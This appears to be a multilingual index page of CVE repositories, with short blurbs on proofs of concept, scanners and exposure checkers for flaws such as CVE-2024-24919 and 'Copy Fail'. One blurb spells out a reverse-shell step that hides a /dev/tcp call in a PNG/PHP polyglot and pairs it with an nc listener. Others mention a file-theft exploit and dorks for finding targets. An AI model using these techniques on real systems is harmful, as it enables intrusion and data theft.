CVE-2019-13496

CVE-2019-13496 Titolo Exploit: Bypass OTP Controllo di integrità fallito Data: 07/10/2019 Autore Exploit: Furqan Khan Vendor Homepage: https://www.oneidentity.com/ Software Link: https://www.oneidentity.com/products/cloud-access-manager/ Versione: 8.1.3 Testato su: Kali Linux , Windows 7 ,Ubantu...

CVE-2023-24610

CVE-2023-24610 Questa è una prova di concetto per CVE-2023-24610 Iniziamo creando un file poliglotta usando exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Cambiamo il file in png in modo che superi il controllo del front-end Dopo di che, avviamo un listener nc...

copyfail-guard

copyfail-guard Uma CLI Python sem dependências que verifica se um host Linux parece exposto ao CVE-2026-31431 "Copy Fail" sem executar um exploit. Também pode aplicar uma mitigação temporária conservadora quando o componente afetado pode ser carregado como módulo de kernel. Suporta Debian/Ubuntu,...

CopyFail-Penguin

CopyFail Penguin Un sicuro strumento di controllo Linux per CopyFail/CVE-2026-31431. Scopo CopyFail Penguin controlla le informazioni di base del sistema Linux e i possibili indicatori di esposizione legati alla vulnerabilità CopyFail. Questo progetto è pensato per l'apprendimento, la...

CVE-2026-80582

A flaw was found in the Linux kernel's drm/shmemhelper component. This vulnerability arises from insufficient boundary checks when handling large memory pages. An attacker could potentially trigger an attempt to map memory outside its designated area. This improper memory handling could lead to a...

check-copyfail-cve-2026-31431

check-copyfail check-copyfail.sh è uno script Bash in sola lettura che valuta l'esposizione dell'host a CVE-2026-31431 "Copy Fail". Autore: Silent4Labs Lo script ispeziona il sistema locale per: versione del kernel e stato noto delle patch a monte baseline delle distribuzioni interessate stato de...

CVE-2024-4577

CVE-2024-4577 PoC minimale e corretta della CVE-2024-4577 Ho testato alcuni PoC per questa vulnerabilità e alcuni di essi non funzionavano correttamente, quindi ho creato il mio PoC non intrusivo e minimale per verificare se sei vulnerabile. Come usarlo: python3 CVE-2024-4577.py URL Esempio:...

CVE-2024-3094-XZ-Utils-Check

JB-Network - check-xz.sh Utilità per verificare se hai una versione vulnerabile secondo il CVE-2024-3094. Installazione Per utilizzarlo, entra nel tuo terminale ed esegui: root@kitploit: cd;mkdir git;git clone https://github.com/jbnetwork-git/linux-tools.git chmod +x /git/check-xz.sh Come eseguir...

CVE-2022-35841

CVE-2022-35841 Esta é apenas uma pequena descrição com a teoria, já que este bug foi colidido e nunca cheguei a testá-lo adequadamente. EnterpriseAppMgmtSvc é um serviço interessante que implementa objetos COM. Parece datar do Windows Phone e, de fato, a maioria das interfaces COM implementadas p...

CVE-2024-24919-Sniper

CVE-2024-24919-Sniper Panoramica CVE-2024-24919 Sniper è uno script Python progettato per scansionare le vulnerabilità di divulgazione di informazioni su Check Point Security Gateway. Questo script può eseguire sia la scansione a obiettivo singolo sia la scansione in blocco, utilizzando il...

MinimalReproducer

Dopo sforzi significativi, l'ho ridotto a un replicatore minimale. Questo è solo un progetto vuoto per dimostrare il problema con l'uso di dependency-check-maven che sono costretto a fare dalle regole della mia azienda. Controlla il pom.xml e verifica: mvn...

emba

EMBA The security analyzer for firmware of embedded devices EMBA is designed as the central firmware analysis and SBOM tool for penetration testers, product security teams, developers and responsible product managers. It supports the complete security analysis process starting with firmware...

CVE-2026-25890-FileBrowser-Access-Control-Bypass

CVE-2026-25890 - FileBrowser एक्सेस कंट्रोल बायपास अप्रमाणित उपयोगकर्ता इसका शोषण नहीं कर सकते — इसके लिए मान्य निम्न-विशेषाधिकार वाली साख credentials की आवश्यकता होती है जो लक्ष्य पथ से प्रतिबंधित हैं। FileBrowser ≤ v2.57.0 में पथ-आधारित प्राधिकरण बायपास, कई अग्रणी स्लैश /private के बजाय //priva...

ProxyShell-CVE-2021-34473.py

ProxyShell-CVE-2021-34473 Ein einfaches Skript zur Überprüfung auf ProxyShell...

CVE-2024-24919

CVE-2024-24919 Script Nmap para verificar a vulnerabilidade CVE-2024-24919 Referências da Vulnerabilidade: https://www.cvedetails.com/cve/CVE-2024-24919/ https://support.checkpoint.com/results/sk/sk182336 Dorks Hunter Hunter: /product.name="Check Point SSL Network Extender" Shodan SHODAN:...

CVE-2026-81575

CodeMeter Runtime (WIBU) prior to versions 8.41a and 9.10 is vulnerable when configured as a server. Requests carrying opcode 0x5e include a data-length field that lacks bounds checking, allowing an attacker to trigger out-of-bounds reads that result in a segmentation fault and crash the Runtime....

CVE-2026-81575 Missing Sanity Checks for Buffer Lengths

If configured as a server, CodeMeter Runtime before versions 8.41a and 9.10 accepts requests with opcode 0x5e, which contain the data length and the data itself. Missing bounds checking on the data length value can lead to out of bounds reads, causing a segmentation fault that ultimately crashes...

CVE-2024-24919

Checkpoint POC Exploit a scopo di test per recuperare file sensibili da Checkpoint basato su questo articolo: https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/ Non sono responsabile per qualsiasi abuso di questo script, l'intenzione è che i difensori testino i propri...

meesho-android-improper-encryption-cve-2026-5682

🔐 Proof of Concept: App Android Meesho – Implementazione Crittografica Insicura AES-CBC senza Integrità + Derivazione Chiave Debole Autore: Soyam Arya alias honestcorrupt Data della Scoperta: Marzo 2026 App Interessata: App Android Meesho com.meesho.supply Stato: In Verifica Categoria: Crittograf...

cve-scanner

Scanner CVE per OpenClaw Versione: 1.0.0 Autore: Simon Capo di Stato Maggiore Autonomo Licenza: MIT Pubblicato: 22 marzo 2026 Categoria: Sicurezza, Strumenti TL;DR Scanner CVE senza dipendenze per OpenClaw. Verifica la tua versione rispetto a 522+ vulnerabilità note, consiglia aggiornamenti, most...